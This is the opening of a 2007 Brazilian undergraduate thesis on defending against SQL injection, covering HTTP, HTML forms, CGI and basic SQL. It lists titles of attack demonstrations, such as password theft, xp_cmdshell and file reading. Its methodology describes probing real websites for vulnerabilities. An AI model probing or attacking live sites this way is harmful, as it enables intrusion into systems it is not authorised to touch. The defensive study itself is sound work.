FELIPE CALLORI
Transcrição
FELIPE CALLORI
UNIVERSIDADE FEDERAL DE MATO GROSSO COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM CIÊNCIA DA COMPUTAÇÃO ESTUDO DE TÉCNICAS DE PROTEÇÃO CONTRA INVASÕES POR SQL INJECTION FELIPE CALLORI CUIABÁ – MT 2007 UNIVERSIDADE FEDERAL DE MATO GROSSO COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM CIÊNCIA DA COMPUTAÇÃO ESTUDO DE TÉCNICAS DE PROTEÇÃO CONTRA INVASÕES POR SQL INJECTION FELIPE CALLORI Orientador: Prof. MSc. JOSÉ DE PAULA NEVES NETO Monografia apresentada ao Curso de Ciência da Computação da Universidade Federal de Mato Grosso, para obtenção do Título de Bacharel em Ciência da Computação. CUIABÁ – MT 2007 UNIVERSIDADE FEDERAL DE MATO GROSSO COORDENAÇÃO DE ENSINO DE GRADUAÇÃO EM CIÊNCIA DA COMPUTAÇÃO CERTIFICADO DE APROVAÇÃO Título: Estudo de técnicas de proteção contra invasões por SQL Injection Autor: Felipe Callori Aprovado em 19/03/2007 Prof. MSc. José de Paula Neves Neto UFMT/ICET/DCC (Orientador) Prof. Dra. Patricia Cristiane de Souza UFMT/ICET/DCC Prof. Dr. Josiel Maimone de Figueiredo UFMT/ICET/DCC DEDICATÓRIA À minha querida mãe que sempre me apoiou e orientou em todas as minhas decisões. À memória de meu pai que fez de tudo para garantir meu futuro e de meus irmãos. À minha namorada pela sua atenção, carinho e apoio. AGRADECIMENTOS Ao Prof. José de Paula Neves Neto pela dedicação com que me orientou neste trabalho de conclusão de curso de Ciência da computação. SUMÁRIO LISTA DE CÓDIGOS ............................................................................................................................... 8 LISTA DE FIGURAS.............................................................................................................................. 10 LISTA DE MENSAGENS....................................................................................................................... 11 LISTA DE SIGLAS E ABREVIATURAS............................................................................................. 12 RESUMO.................................................................................................................................................. 14 1. INTRODUÇÃO.................................................................................................................................... 15 1.1 APRESENTAÇÃO ............................................................................................................................... 15 1.2 OBJETIVOS ....................................................................................................................................... 16 1.2.1 Objetivo Geral......................................................................................................................... 16 1.2.2 Objetivos Específicos .............................................................................................................. 16 1.3 JUSTIFICATIVA ................................................................................................................................. 16 1.4 METODOLOGIA ................................................................................................................................ 17 1.5 CRONOGRAMA PROPOSTO ................................................................................................................ 17 1.6 CRONOGRAMA EXECUTADO ............................................................................................................. 18 2. CONTEXTUALIZAÇÃO ................................................................................................................... 19 2.1 HTTP............................................................................................................................................... 19 2.1.1 Método GET ............................................................................................................................ 19 2.1.2 Método POST .......................................................................................................................... 20 2.2 HTML ............................................................................................................................................. 21 2.2.1 Formulários............................................................................................................................. 21 2.3 PROTOCOLO CGI.............................................................................................................................. 22 2.4 A LINGUAGEM SQL ......................................................................................................................... 24 2.4.1 Comandos Básicos da linguagem SQL.................................................................................... 25 2.5 CODE INJECTION .............................................................................................................................. 27 3. SQL INJECTION ................................................................................................................................ 30 3.1 HISTÓRICO SOBRE SQL INJECTION................................................................................................... 30 3.2 O QUE É SQL INJECTION? ................................................................................................................ 32 3.3 FORMAS DE SQL INJECTION............................................................................................................. 34 3.3.1 Manipulação de SQL............................................................................................................... 35 3.3.2 SQL Injection baseado em erros ............................................................................................. 37 3.3.3 Blind SQL Injection ................................................................................................................. 39 4. VULNERABILIDADES EM SISTEMAS ESPECÍFICOS.............................................................. 42 4.1 VULNERABILIDADES EM SQL SERVER ............................................................................................ 42 4.1.1 Ataques em nível de sistema .................................................................................................... 46 4.2 VULNERABILIDADES EM MYSQL.................................................................................................... 47 4.2.1 SELECT e UNION................................................................................................................... 48 4.2.2 Função LOAD FILE................................................................................................................ 50 4.2.3 Atrasos de Tempo e a Função BENCHMARK ........................................................................ 53 4.3 VULNERABILIDADES EM ORACLE .................................................................................................... 55 4.3.1 Injeção de Código ................................................................................................................... 55 4.3.2 Injeção em chamadas de Função ............................................................................................ 57 5. ANATOMIA DE UM ATAQUE......................................................................................................... 60 5.1 O ATAQUE ....................................................................................................................................... 60 5.2 SUGESTÕES PREVENTIVAS ............................................................................................................... 71 6. PRÁTICAS DE PROTEÇÃO ............................................................................................................. 73 6.1 VALIDAÇÃO DE ENTRADAS DO USUÁRIO .......................................................................................... 73 7 6.1.1 Validação com HTML e Javascript......................................................................................... 76 6.2 MENSAGENS DE ERRO ...................................................................................................................... 77 6.3 CONFIGURAÇÕES NO BANCO DE DADOS .......................................................................................... 79 6.4 EXPRESSÕES SQL PREPARADAS E STORED PROCEDURES ................................................................ 81 7. CONCLUSÕES.................................................................................................................................... 84 8. REFERÊNCIAS BIBLIOGRÁFICAS ............................................................................................... 87 ANEXO A - SITE DO MINISTÉRIO DA JUSTIÇA FOI INVADIDO.............................................. 92 8 LISTA DE CÓDIGOS CÓDIGO 1 - ENVIO DE DADOS PELO MÉTODO GET...................................................................................... 20 CÓDIGO 2 - REPRESENTAÇÃO DE UM FORMULÁRIO HTML ........................................................................ 22 CÓDIGO 3 - SELECIONANDO A TABELA USUARIOS ....................................................................................... 27 CÓDIGO 4 - ATUALIZANDO USUÁRIO .......................................................................................................... 27 CÓDIGO 5 - ESQUEMA DE CONSULTA .......................................................................................................... 35 CÓDIGO 6 - SQL INJETADA ......................................................................................................................... 36 CÓDIGO 7 - COMENTANDO LINHAS ............................................................................................................. 36 CÓDIGO 8 - URL NORMAL .......................................................................................................................... 37 CÓDIGO 9 - URL ATACADA ........................................................................................................................ 37 CÓDIGO 10 - VARIÁVEL PROCESSO ............................................................................................................. 38 CÓDIGO 11 - APAGANDO PROCESSOS.......................................................................................................... 39 CÓDIGO 12 - EXEMPLO DE TIME DELAY ....................................................................................................... 40 CÓDIGO 13 - EXEMPLO DE BLIND INJECTION ............................................................................................... 41 CÓDIGO 14 - ESQUEMA DA TABELA DE USUÁRIOS ...................................................................................... 43 CÓDIGO 15 - CONSULTA POR USUÁRIO ....................................................................................................... 43 CÓDIGO 16 - VARIÁVEL CONSULTA ............................................................................................................ 43 CÓDIGO 17 - VISUALIZAR VERSÃO DO SQL SERVER .................................................................................... 43 CÓDIGO 18 - INJETANDO USUÁRIO NO BD .................................................................................................. 44 CÓDIGO 19 - RECUPERANDO NOME DE USUÁRIO DA TABELA ...................................................................... 44 CÓDIGO 20 - ROUBANDO SENHA DE USUÁRIO ............................................................................................. 45 CÓDIGO 21 - UTILIZAÇÃO DO COMANDO XP_CMDSHELL ............................................................................. 47 CÓDIGO 22 - VERIFICAÇÃO DE USUÁRIO NO BD ......................................................................................... 48 CÓDIGO 23 - URL PARA CONSULTAR CÓDIGO ............................................................................................ 49 CÓDIGO 24 - RETORNANDO VERSÃO DO MYSQL........................................................................................ 49 CÓDIGO 25 - RECUPERANDO DADOS DA TABELA FUNC ............................................................................... 50 CÓDIGO 26 - VENDO CONTEÚDO DO ARQUIVO ........................................................................................... 50 CÓDIGO 27 - RECUPERANDO HASHES DAS SENHAS DE USUÁRIO .................................................................. 51 CÓDIGO 28 - UTILIZANDO HEXADECIMAIS .................................................................................................. 52 CÓDIGO 29 - FAZENDO REQUISIÇÕES COM HEXADECIMAIS ......................................................................... 52 CÓDIGO 30 - VISUALIZANDO OS PRIMEIROS 60 BYTES DO ARQUIVO BOOT.INI .............................................. 52 CÓDIGO 31 - RECUPERANDO OS PRÓXIMOS 60 BYTES DO ARQUIVO BOOT.INI ............................................... 52 CÓDIGO 32 - UTILIZAÇÃO DA FUNÇÃO BENCHMARK ............................................................................... 53 CÓDIGO 33 - EXEMPLO BENCHMARK....................................................................................................... 54 CÓDIGO 34 - EXTRAINDO INFORMAÇÕES COM BENCHMARK ................................................................... 54 CÓDIGO 35 - RECUPERANDO VALORES BIT A BIT ......................................................................................... 54 CÓDIGO 36 - TIPO COMUM DE ATAQUE ....................................................................................................... 56 CÓDIGO 37 - BLOCO PL/SQL...................................................................................................................... 56 CÓDIGO 38 - BLOCO PL/SQL MODIFICADO ................................................................................................. 56 CÓDIGO 39 - EXEMPLO DE EXPRESSÃO SQL............................................................................................... 58 CÓDIGO 40 - EXPRESSÃO SQL MANIPULADA.............................................................................................. 58 CÓDIGO 41 - CRIANDO NOVOS USUÁRIOS ................................................................................................... 59 CÓDIGO 42 - DESCOBRINDO O SEGUNDO USUÁRIO DA APLICAÇÃO ............................................................. 64 CÓDIGO 43 - USANDO A CLÁUSULA UNION NO ATAQUE ............................................................................ 65 CÓDIGO 44 - DESCOBRINDO O NÚMERO DE CAMPOS DA CONSULTA ............................................................ 66 CÓDIGO 45 - NÚMERO CORRETO DE CAMPOS DA CONSULTA ....................................................................... 67 CÓDIGO 46 - URL DE ÁREA ADMINISTRATIVA ............................................................................................ 68 CÓDIGO 47 - DESCOBRINDO O VALOR DO CAMPO USERNAME ...................................................................... 69 CÓDIGO 48 - DESCOBRINDO A SENHA DO ADMINISTRADOR ........................................................................ 69 CÓDIGO 49 – NOME DE USUÁRIO ................................................................................................................ 74 CÓDIGO 50 – LITERAL RESULTANTE ........................................................................................................... 74 CÓDIGO 51 – SENHA MALICIOSA ................................................................................................................ 74 CÓDIGO 52 – PESQUISA FORMADA PELA APLICAÇÃO .................................................................................. 75 CÓDIGO 53 – BURLANDO O COMANDO SELECT......................................................................................... 75 9 CÓDIGO 54 – CONSULTA INSEGURA............................................................................................................ 82 CÓDIGO 55 – CONSULTA SEGURA ............................................................................................................... 82 10 LISTA DE FIGURAS FIGURA 1 - ESQUEMA DO CGI (ADAPTADO DE BÔAS ET AL, 2001) ............................................................ 23 FIGURA 2 - CICLO DE VIDA DE UM CGI (BÔAS ET AL, 2001) ..................................................................... 24 FIGURA 3 - ESQUEMA DA INJEÇÃO DE SQL (ADAPTADO DE JAVAFREE.ORG, 2003) .............................. 33 FIGURA 4 - ENCONTRANDO CAMPO VULNERÁVEL ...................................................................................... 61 FIGURA 5 - ERRO DE SINTAXE SQL ............................................................................................................ 61 FIGURA 6 - TENTATIVA DE ENTRAR NO SISTEMA ........................................................................................ 62 FIGURA 7 - MENSAGEM DE ERRO NA TENTATIVA DE LOGAR ....................................................................... 63 FIGURA 8 - NOVA TENTATIVA DE ENTRAR NO SISTEMA .............................................................................. 63 FIGURA 9 - SUCESSO EM ENTRAR NO SISTEMA ............................................................................................ 64 FIGURA 10 - SEGUNDO USUÁRIO DA APLICAÇÃO ........................................................................................ 64 FIGURA 11 - ERRO DE TABELA NÃO EXISTENTE .......................................................................................... 65 FIGURA 12 - ERRO NO NÚMERO DE CAMPOS DA CLÁUSULA UNION ........................................................... 66 FIGURA 13 - LOGADO NO SISTEMA UTILIZANDO UNION ............................................................................ 67 FIGURA 14 - ÁREA ADMINISTRATIVA DO SITE ............................................................................................. 68 FIGURA 15 - USERNAME DO ADMINISTRADOR ............................................................................................ 69 FIGURA 16 - SENHA DO ADMINISTRADOR ................................................................................................... 70 FIGURA 17 - TENTATIVA DE ENTRAR NA ÁREA ADMINISTRATIVA ............................................................... 70 FIGURA 18 - PAINEL DA ÁREA ADMINISTRATIVA ........................................................................................ 71 FIGURA 19 - TESTE DE VULNERABILIDADE ................................................................................................. 77 FIGURA 20 - MENSAGEM DE ERRO COM EXCESSO DE INFORMAÇÕES........................................................... 78 11 LISTA DE MENSAGENS MENSAGEM 1 - ERRO DE SINTAXE GERADO NA APLICAÇÃO ........................................................................ 38 MENSAGEM 2 - VERSÃO DO SQL SERVER.................................................................................................... 44 MENSAGEM 3 - REVELANDO NOME DA TABELA .......................................................................................... 45 MENSAGEM 4 - REVELANDO PRÓXIMO NOME DA TABELA .......................................................................... 45 MENSAGEM 5 - REVELANDO SENHA DO ADMIN .......................................................................................... 46 MENSAGEM 6 - ERRO GERADO PELA CLÁUSULA UNION ............................................................................ 49 12 LISTA DE SIGLAS E ABREVIATURAS API Application Program Interface – Interface de aplicação de programas ASP Active Server Page – Páginas de Servidor Ativo ATH Against The Hell – Contra o Inferno BD Banco de Dados CGI Common Gateway Interface – Interface de porta de comunicação comum DB2 Database2 – Gerenciador de Banco de dados (Base de dados 2) DBA DataBase Administrator – Administrador da Base de Dados DENATRAN Departamento Nacional de Trânsito DOS Denial Of Service – Negação de Serviço GHZ Gigahertz HTML Hypertext Markup Language – Linguagem de Marcação de Hipertexto HTML HyperText Markup Language – Linguagem de marcação de Hipertexto HTTP HyperText Transfer Protocol – Protocolo de Transferência de Hipertexto IDC Integrated Database Connector - Conector de Base de Dados Integradas IIS Internet Information Service – Serviço de Informação da Internet MJ Ministério da Justiça NT New Technology – Nova Tecnologia ODBC Open Data Base Conectivity – Conectividade de Banco de Dados Aberto PHP Hypertext PreProcessor – Pré-processador de Hipertexto PL/SQL Procedural Language/SQL – Linguagem Procedural/SQL 13 PT Partido dos Trabalhadores SQL Structured Query Language – Linguagem de Consulta Estruturada URL Universal Resource Locator – Localizador de Códigos Universal VBA Visual Basic Application – Aplicação de Visual Basic WWW World Wide Web – Teia do tamanho do mundo 14 RESUMO A técnica de invasão por SQL Injection atualmente é a forma de ataque mais realizada contra servidores de banco de dados (BD) na Internet. Pelo menos um site entre três consultados durante a pesquisa, que se conectam a uma base de dados, apresentaram vulnerabilidades a esta forma de ataque. Essa técnica se aproveita de falhas de programação presentes em scripts que realizam conexão com um BD. Essas falhas permitem que comandos SQL sejam enviados por usuários maliciosos através de formulários HTML ou URLs e sejam executados diretamente no BD. A grande maioria dos gerenciadores de banco de dados possui vulnerabilidades que podem ser aproveitadas por invasores. Como exemplos, podem ser citados o SQL Server e o Oracle, que possuem centenas de funções e stored procedures nativos que vêm habilitados por default e constituem ferramentas extremamente úteis a ataques de injeção de SQL. Este trabalho realiza um levantamento sobre as características de ataques por SQL Injection, assim como são demonstradas algumas das principais vulnerabilidades a esse tipo de ataque, presentes em três dos principais gerenciadores de banco de dados do mercado (SQL Server, MySQL e Oracle) e propõe os melhores procedimentos a serem realizados para barrar ataques desta natureza. Palavras-chave: SQL Injection, invasão, vulnerabilidade, segurança, proteção. 15 1. INTRODUÇÃO 1.1 Apresentação A revolução da Internet (rede mundial de computadores) nos anos 90, conseqüência do grande desenvolvimento tecnológico promovido pela Guerra Fria (guerra psicológica entre Estados Unidos e a União soviética) e a popularização dos microcomputadores, interconectou praticamente todas as redes de computadores sobre a terra. A possibilidade de conexão com o mundo todo tornou a Internet um forte meio de comunicação e informação utilizado por milhões de pessoas. A rede mundial de computadores passou a ser parte do dia-a-dia dessas pessoas e a ser utilizada para realizar muitas tarefas importantes, dentre elas: divulgação e venda de produtos e serviços, armazenar dados importantes para acesso rápido de qualquer localização, realizar muitos tipos de transações bancárias, dentre outros fatores. O grande fluxo de informação presente na Internet, principalmente informações essenciais, a exemplo de informações sigilosas de grandes empresas e dados de contas bancárias, despertou o interesse de criminosos que passaram a estudar falhas na implementação de páginas virtuais e a desenvolver técnicas para a invasão das mesmas. A ação desses criminosos gerou uma grande preocupação para os administradores em relação à segurança de seus sites, e tornou obrigatório o conhecimento das técnicas de invasão de sites para implementação da proteção contra as mesmas. Uma das técnicas mais utilizadas para a invasão de páginas virtuais é denominada Structured Query Language (SQL) Injection ou Injeção de SQL, um problema que afeta praticamente todas as linguagens de programação que contenham uma requisição a um banco de dados (BD) na Internet. A técnica SQL injection é uma variante do método de invasão chamado Injeção de Código (Code Injection), que consiste no preenchimento de código malicioso em campos de formulários HTML (tais como campos de login, pesquisa, senha, dentre outros) para forçar acesso a um banco de dados, ter acesso a informações restritas ou até mesmo destruir informações de um servidor web. A Injeção de SQL é aplicada em sites que contenham requisições a um banco de dados e, utilizando a estrutura da linguagem de banco de dados SQL, se aproveita de falhas na implementação da requisição ao banco de dados. 16 Apesar de ser uma das técnicas de invasão mais utilizadas, ainda é muito comum encontrar páginas no Brasil que apresentem vulnerabilidades à Injeção de SQL. Um dos principais motivos desse grande número de páginas vulneráveis é a falta de abordagem e até preguiça de programadores em construir procedimentos de segurança nessas páginas para a validação de dados que fazem a requisição de um banco de dados. A técnica SQL Injection é difícil de ser erradicada, pois não é uma falha ao nível de software e sim uma falha ao nível da capacidade de programar. 1.2 Objetivos 1.2.1 Objetivo Geral O objetivo deste trabalho é justificar porque a técnica de injeção de SQL funciona e fornecer procedimentos para auxiliar administradores de sistemas para web a implementar sistemas seguros contra essa vulnerabilidade. 1.2.2 Objetivos Específicos Os seguintes passos foram seguidos para a realização desse trabalho: a) Descrever e analisar os principais tipos de ataques realizados por SQL Injection a páginas da Internet; b) Mostrar algumas das principais vulnerabilidades em gerenciadores de banco de dados aproveitadas pelos invasores que utilizam essa técnica; c) Realizar testes práticos em sites a procura de vulnerabilidades; d) Propor quais os melhores procedimentos para proteger um site de ataques por SQL Injection. 1.3 Justificativa Esse tema foi escolhido pela atualidade do mesmo, a falta de abordagem existente no Brasil em relação a esse assunto e ao descaso de muitos programadores com a segurança de seus sites. É muito importante alertar e educar o programador em relação à segurança de suas aplicações na web contra ataques de criminosos. A Injeção de Código SQL é muito fácil de ser aplicada e é uma das técnicas mais exploradas na 17 invasão de sites e, através dessa técnica um invasor pode, por exemplo, ter acesso a áreas restritas de um site, obter privilégios de administrador, destruir informações importantes, dentre outros fatores agravantes. O desenvolvimento de sistemas para web relacionados a um banco de dados e a preocupação com a segurança e integridade desses sistemas também foram pontos influentes na escolha do tema. 1.4 Metodologia O trabalho foi desenvolvido a partir do método de pesquisa bibliográfica e através de método indutivo, utilizando levantamento de dados feitos em testes práticos realizados em sites. Os testes práticos consistiram em detectar sites vulneráveis à SQL Injection e, ao final, demonstrar na prática como seria a anatomia de um ataque realizado em um site vulnerável. Posteriormente foram propostas soluções de proteção para o mesmo. Foram utilizados no trabalho códigos SQL padrão, a estrutura de vários gerenciadores de banco de dados como MySQL, SQL Server e Oracle e a estrutura de algumas linguagens de programação como PHP, ASP e Java. 1.5 Cronograma Proposto Etapa 1 - Pesquisa bibliográfica Consiste da leitura de livros e pesquisa na Internet sobre o tema. Etapa 2 - Conceitos e ataques Descrição da técnica SQL Injection, suas formas de ataque e como são realizados os ataques. 18 Etapa 3 - Defesa do Projeto Etapa 4 - Vulnerabilidades Demonstrar algumas das principais vulnerabilidades aproveitadas por invasores em três dos principais gerenciadores de banco de dados do mercado. Etapa 5 - Testes Práticos Detectar sites vulneráveis à SQL Injection e demonstrar a anatomia de um ataque. Etapa 6 – Métodos para Proteção Propor métodos para a proteção de sites contra a técnica de Injeção de SQL. Etapa 7 – Apresentação à banca avaliadora. 1.6 Cronograma executado O cronograma executado foi muito semelhante ao cronograma proposto no projeto de monografia. A única etapa em que houve uma mudança significativa foi a primeira, pois a pesquisa bibliográfica foi utilizada durante praticamente toda a construção do trabalho final. 19 2. CONTEXTUALIZAÇÃO Esta seção demonstra alguns dos principais pré-requisitos necessários para o entendimento de como funciona a técnica de invasão SQL Injection. São demonstrados o protocolo HTTP e seus principais métodos de envio (GET e POST), a linguagem HTML e seus formulários, o protocolo CGI, a linguagem SQL e finalmente a técnica de invasão que deu origem a SQL Injection, a técnica denominada code injection. 2.1 HTTP Hypertext Transfer Protocol (HTTP) ou Protocolo de Transferência de Hipertexto é o protocolo responsável pela interação entre o usuário (cliente) e o servidor World Wide Web (WWW). “O HTTP é a linguagem comum da Internet global moderna” (GOURLEY et al, 2002). A forma mais comum de utilização do protocolo HTTP consiste na requisição de páginas de informação de um servidor pelo usuário. Estas páginas de informação utilizam a codificação HTML (Seção 2.2) e são “recuperadas” através de Unified Resource Locators (URLs), que são endereços que podem identificar qualquer fonte (páginas em HTML, arquivos para download, computadores, servidores web, dentre outros) localizada na Internet. Segundo Bôas et al (2001) ao ser solicitada a página pelo cliente o navegador envia uma solicitação para o servidor web que, quando recebe uma requisição, procura pela página solicitada e, caso a encontre, envia uma mensagem de confirmação e a página é visualizada no computador cliente. Porém, segundo Kou & Springstell (1997) o servidor web é somente um provedor de informações estáticas, sendo assim para obter suporte a informações dinâmicas é necessário a utilização de outro protocolo, denominado Common Gateway Interface (CGI) que será abordado na Seção 2.3. 2.1.1 Método GET O método GET é um dos principais métodos de envio de dados pertencentes ao protocolo HTTP. Este método é acionado por meio de um formulário HTML através da diretiva method=get incluída na tag <form>. Segundo Kennedy & Musciano (2002) o 20 método GET permite entrar em contato com o servidor que irá processar os dados do formulário anexando os dados à diretiva action do formulário, separados por um ponto de interrogação (?). Esta forma de separação pode ser visualizada no campo de endereços do navegador do usuário logo após o formulário ter sido enviado. No Código 1 é possível observar um exemplo de envio de dados utilizando o método GET. Todo o texto localizado antes do sinal de interrogação (?) indica o endereço da aplicação que irá receber e processar os dados enviados pelo formulário. Após o sinal estão anexados os dados enviados pelo formulário, no Código 1 estão sendo enviados o nome e senha de um usuário qualquer à aplicação destino. http://meusite.com.br/login.php?nome=seunome&senha=123456 Código 1 - Envio de dados pelo método GET O método GET é um dos métodos pertencentes ao protocolo HTTP mais utilizados. Seu uso é indicado quando são necessárias transmissões mais velozes, quando não existe necessidade em manter sigilo dos dados enviados e quando os campos a serem enviados pelo formulário possuírem um número reduzido de informações (o método GET possui tamanho limitado a 255 caracteres). “Para uma melhor performance na transmissão de um formulário, envie pequenos formulários com poucos e pequenos campos através do método GET” (KENNEDY & MUSCIANO, 2002). 2.1.2 Método POST Método de envio pertencente ao protocolo HTTP, destinado ao envio de grande número de informações. O método POST difere do método GET, pois, ao invés de enviar os dados pela URL, envia os dados em um bloco de informações anexados ao corpo da mensagem. Neste bloco geralmente são dadas informações como cabeçalhos extras para descrever o corpo da mensagem, como Content-Type (tipo de dado a que o conteúdo pertence) e Content-Length (tamanho do conteúdo). O uso mais comum do método POST consiste em enviar dados através de formulários HTML para scripts ou programas CGI. 21 Para Kennedy & Musciano (2002) se o assunto é segurança, é melhor escolher POST, pois o método GET insere os parâmetros diretamente em uma URL, local onde podem ser facilmente visualizados e capturados. Aplicações POST também possuem falhas de segurança, mas pelo menos podem contar com a encriptação de seus dados enquanto os mesmos são transmitidos ao servidor. 2.2 HTML Hipertext Markup Language ou Linguagem de Marcação de Hipertexto, a linguagem HTML consiste em uma linguagem de formatação, ou seja, descreve como será a formatação de um documento. Por esse motivo não é possível programar em HTML, pois a mesma só oferece opções para formatar textos, inserir imagens, dentre outras funções. HTML é a linguagem de codificação utilizada para construir a interface de páginas que serão exibidas na web. Segundo BÔAS et al (2001) a linguagem HTML torna possível à construção de uma interface que será visualizada através do navegador. Através da linguagem HTML é possível construir ambientes amigáveis ao usuário para que este interaja com a rede mundial. Para BÔAS et al (2001) a maior importância da linguagem HTML para programas em CGI está em ser usada como uma forma de coletar e apresentar informações ao usuário e interagir com ele. A linguagem HTML possui várias ferramentas, dentre elas os formulários. Os formulários (Seção 2.2.1) são responsáveis pela integração da linguagem HTML à programação CGI. 2.2.1 Formulários Os formulários, como ferramentas da linguagem HTML, oferecem um modelo para a entrada de dados. Os formulários são responsáveis pelo envio dos dados do usuário ao servidor web. Segundo BÔAS et al (2001) a interface de uma aplicação web é feita com HTML, no entanto existem dois sentidos para a interface, um que fornece informações e outro que obtêm dados dele. As informações são fornecidas ao usuário através dos elementos de formatação básicos da linguagem HTML, mas para atender 22 completamente a estrutura de uma interface de aplicação web sugerida por Bôas et al (2001) é necessária a utilização de formulários HTML. Os formulários possuem vários tipos de campos que recebem entradas do usuário para posterior envio ao servidor web. O corpo de um formulário HTML é representado no Código 2. <FORM ACTION=”aplicação destino” METHOD=”método de envio”> . . campos para preenchimento (áreas de texto, campos de . múltipla escolha, dentre outros) . </FORM> Código 2 - Representação de um formulário HTML As tags (comandos) <form>...</form> representam um formulário, entre elas são inseridos os campos de preenchimento. Existem vários campos definidos pela linguagem HTML. Dentro da tag <form> são definidas informações importantes sobre os dados a serem enviados para que o programa CGI redirecione a aplicação desejada. O campo action indica o endereço (URL) da aplicação que irá receber e processar as informações enviadas (geralmente o arquivo CGI que irá processar as informações para a aplicação final) e o campo method indica o método pelo qual o navegador irá enviar os dados do usuário ao servidor para serem processados. Para este campo são utilizados os dois principais métodos de envio pertencentes ao protocolo HTTP: GET e POST. 2.3 Protocolo CGI “CGI é uma tecnologia que permite a criação de páginas dinâmicas, ou seja, capazes de fornecer respostas personalizadas de acordo com alguma informação fornecida pelo usuário” (BÔAS et al, 2001). O protocolo CGI permite a servidores web solicitarem recursos e aplicações externas. Segundo Kou & Springstell (1997) o protocolo CGI é uma ponte entre o servidor HTTP, o banco de dados e qualquer outra fonte de informação. O protocolo CGI recebe todas as informações coletadas de formulários de páginas em HTML e pertencentes ao servidor através dos métodos de envio do protocolo HTTP (GET e POST). As informações são redirecionadas para a aplicação 23 desejada (a exemplo de um banco de dados) e ao receber a resposta o programa CGI remete a mesma ao cliente geralmente em uma página codificada em HTML, segundo o esquema ilustrado na Figura 1. Segundo Bôas et al (2001) aplicações CGI podem ser usadas para tudo o que gera conteúdo dinâmico na web a exemplo de fóruns, livros de visita, formulários de compra, consulta de estoque, home banking e investimentos na bolsa de valores. Figura 1 - Esquema do CGI (adaptado de BÔAS et al, 2001) O protocolo CGI consiste num conjunto de programas que tornam possível a comunicação do servidor HTTP com outras aplicações, programas estes chamados de programas CGI. “[...] um programa CGI sempre é executado no servidor web” (BÔAS et al, 2001). Um programa CGI possui um ciclo de vida (Figura 2), que começa quando um servidor recebe uma requisição que acessa um programa CGI. O servidor então cria um processo com o programa CGI e passa a ele todas as informações recebidas do cliente. Quando o programa CGI termina o processamento da resposta, seu processo é encerrado e o resultado encaminhado ao navegador do usuário que fez a requisição. 24 Figura 2 - Ciclo de vida de um CGI (BÔAS et al, 2001) 2.4 A Linguagem SQL Structured Query Language (SQL), ou Linguagem de Consulta Estruturada, é uma linguagem de pesquisa declarativa para bancos de dados relacionais (bases de dados relacionais). Segundo Taylor (2003, p.21) a primeira coisa necessária para se entender sobre a linguagem SQL é que ela não é uma linguagem procedural a exemplo de linguagens como C, Pascal, FORTRAN, dentre outras. SQL não é procedural porque processa conjuntos de registros, ao invés de um por vez, permitindo ao usuário manipular tipos complexos de dados. SQL é utilizada para recuperar informações de um banco de dados através de consultas ou seleções que informam quais os dados pretendidos. A SQL é uma linguagem industrial padronizada (TAYLOR, 2003, p.7) especialmente desenvolvida para permitir que pessoas criem novas bases de dados, adicionem novos dados, façam a manutenção e recuperem informações em seus bancos de dados. Os principais sistemas da web que trabalham em conjunto com um banco de dados relacional utilizam gerenciadores de banco de dados que utilizam a sintaxe da 25 linguagem SQL. “A linguagem SQL é a ferramenta mais utilizada para a comunicação com uma base de dados relacional” (TAYLOR, 2003, p.21). Esta linguagem pode ser utilizada para todas as atividades relativas a um banco de dados podendo ser utilizada pelo administrador de sistemas web, pelo DataBase Administrator (DBA), por programadores, por sistemas de suporte à tomada de decisões e por outros usuários finais. “A linguagem SQL é uma linguagem com um propósito especial desenvolvida para a criação e manutenção de dados de uma base de dados relacional. Embora os desenvolvedores de sistemas para manutenção de bases relacionais têm suas próprias definições de SQL, um padrão ISO/ANSI (revisado em 2003) define e controla o que é SQL” (TAYLOR, 2003, p.45). Quem pretende utilizar os principais bancos de dados do mercado, como Oracle, Microsoft SQL Server, Sybase, DB/2, MySQL, PostgreSQL, entre outros, deve conhecer a linguagem SQL. 2.4.1 Comandos Básicos da linguagem SQL Como seu nome indica, a SQL é uma linguagem de acesso estruturado. Apesar das diferenças existentes entre suas implementações particulares (SQL Server, Oracle, MySQL, PostgreSQL, dentre outros), existe um grupo comum de comandos a todas elas (TAYLOR, 2003, p.45). De acordo com Racciatti (2002) para se entender como funciona um ataque por SQL Injection, é necessário ter o conhecimento de pelo menos alguns comandos básicos da linguagem SQL Padrão (Tabela 1) e suas respectivas cláusulas (Tabela 2), que são condições de seleção utilizadas para definir os dados que se deseja manipular. 26 Tabela 1 - Comandos básicos da linguagem SQL Comando ALTER CREATE DELETE DROP INSERT SELECT UPDATE Definição Utilizado para alterar tabelas agregando campos e trocar a definição de campos. Utilizado para criar novas tabelas, campos e índices. Utilizado para apagar registros de uma tabela da base de dados. Empregado para eliminar tabelas e índices. Utilizado para inserir dados em uma tabela. Utilizado para consultar registros de uma base de dados que satisfaçam um determinado critério. Utilizado para modificar os valores dos campos e registros especificados. Tabela 2 - Cláusulas da linguagem SQL no comando SELECT Cláusula FROM WHERE GROUP BY HAVING ORDER BY UNION Definição Utilizado para especificar a tabela a qual serão selecionados os objetos. Utilizado para especificar as condições que devem reunir os registros que serão selecionados. Utilizado para separar os registros escolhidos em grupos específicos. Utilizado para especificar a condição que deve satisfazer cada grupo. Utilizado para selecionar os registros selecionados de acordo com uma ordem específica. Utilizado para unir o resultado de duas consultas em um só resultado, este comando gera a união de conjuntos. Além dos comandos e cláusulas, são necessários operadores (Tabela 3) para realizar operações matemáticas, comparações e expressões booleanas. 27 Tabela 3 - Operadores da linguagem SQL Operador > < <> >= <= = AND OR BETWEEN LIKE IN Nome Maior que Menor que Diferente de Maior ou igual a Menor ou igual a Igual a Operador booleano para testar se mais de uma condição é verdadeira ou falsa Operador booleano para testar se pelo menos uma das condições é verdadeira ou falsa. Utilizado para especificar um intervalo de valores. Utilizado na comparação de um modelo. Utilizado para especificar registros de uma base de dados. Exemplos de consultas realizadas na linguagem SQL podem ser vistas nos Códigos 3 e 4. SELECT *FROM usuarios; Código 3 - Selecionando a tabela usuarios UPDATE usuarios SET password = ‘123456’ WHERE user = ‘admin’; Código 4 - Atualizando usuário A consulta presente no Código 3 devolve como resposta um conjunto com todos os registros da tabela usuarios e a consulta do Código 4 altera o campo password do usuário ‘admin’, para o valor especificado. Segundo Racciatti (2002) a seqüência de comandos da linguagem SQL é realizada em partes, sendo possível comparar sua execução a um arquivo em lotes, no qual suas instruções são executadas sequencialmente, para realizar a operação requerida. 2.5 Code Injection Code Injection ou Injeção de Código é o nome dado à técnica utilizada para introduzir (ou injetar) código em um programa de computador ou um sistema web, se aproveitando de falhas de segurança e vulnerabilidades dos 